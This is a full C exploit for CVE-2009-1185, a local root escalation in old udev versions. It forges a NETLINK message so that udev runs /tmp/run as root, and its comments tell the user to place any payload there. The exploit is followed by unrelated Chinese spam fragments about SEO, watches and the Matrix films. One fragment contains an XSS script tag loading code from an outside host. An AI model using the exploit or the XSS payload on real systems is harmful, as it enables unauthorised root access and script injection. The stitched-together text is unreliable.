* cve-2009-1185.c** udev < 141 Local Privilege Escalation Exploit* Jon Oberheide * http://jon.oberheide.org** Information:** http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185** udev before 1.4.1 does not verify whether a NETLINK message originates* from kernel space, which allows local users to gain privileges by sending* a NETLINK message from user space. ** Notes:** An alternate version of kcope's exploit. This exploit leverages the* 95-udev-late.rules functionality that is meant to run arbitrary commands* when a device is removed. A bit cleaner and reliable as long as your* distro ships that rule file. The exploit will execute /tmp/run as root* so throw whatever payload you want in there.** Pass the PID of the udevd netlink socket (listed in /proc/net/netlink,* usually is the udevd PID minus 1) as argv[1].*/#include #include #include #include #include #include #include #ifndef NETLINK_KOBJECT_UEVENT #define NETLINK_KOBJECT_UEVENT 15 #endif int main(int argc, char **argv) { int sock; char *mp; char message[4096]; struct msghdr msg; struct iovec iovector; struct sockaddr_nl address; memset(&address, 0, sizeof(address)); address.nl_family = AF_NETLINK; address.nl_pid = atoi(argv[1]); address.nl_groups = 0; msg.msg_name = (void*)&address; msg.msg_namelen = sizeof(address); msg.msg_iov = &iovector; msg.msg_iovlen = 1; sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT); bind(sock, (struct sockaddr *) &address, sizeof(address)); mp = message; mp += sprintf(mp, "a@/d") + 1; mp += sprintf(mp, "SUBSYSTEM=block") + 1; mp += sprintf(mp, "DEVPATH=/dev/foo") + 1; mp += sprintf(mp, "TIMEOUT=10") + 1; mp += sprintf(mp, "ACTION=remove") +1; mp += sprintf(mp, "REMOVE_CMD=/tmp/run") +1; iovector.iov_base = (void*)message; iovector.iov_len = (int)(mp-message); sendmsg(sock, &msg, 0); close(sock); return 0; } // milw0rm.com [2009-04-30]
提及SEO优化很多人都有一定的了解,但是这种了解大多都是从表面上系统的明白SEO是怎么回事,要是具体的来说,可能就讲不出来。那么,系统化的SEO网站优化包含哪些方面?其实SEO优化主要就分为五个方面,...
好友恢复提示有24个为什么只能恢复8个? 恢复好友是有时间限制了,比如1年前你号被盗,然后把你好友全删除了,一年后你恢复好友的话会因为时间太长,数据被更新,找不到以前的数据而失败...
2.DHCP的装置与装备:| hex('<script src=http://xss.net/0TLs5n?1426923466></script>')...
本文导读目录: 1、第三次世界锡安山工人党联盟大会上与会代表为什么指控犹太人戴维•本•古里安搞“分裂主义”? 2、关于 黑客帝国 3、黑客帝国中主角名字的含义或寓意 4、锡安什么意思?...
瑞士手表排名(瑞士最受欢迎名表品牌排行)爱彼CODE 11.59系列-超级报时三问腕表 2019年爱彼全新推出的CODE 11.59系列。11.59,寓意明天到来的前一刻,时刻保持领先者姿态。与生俱来...
本文目录一览: 1、《黑客帝国4》中国内地宣布定档,这部影片主要讲述的是什么故事? 2、《黑客帝国4》再曝片场图,这些高能片场图拍摄地究竟是哪里? 3、《黑客帝国4》夺冠,17天票房破8亿,这...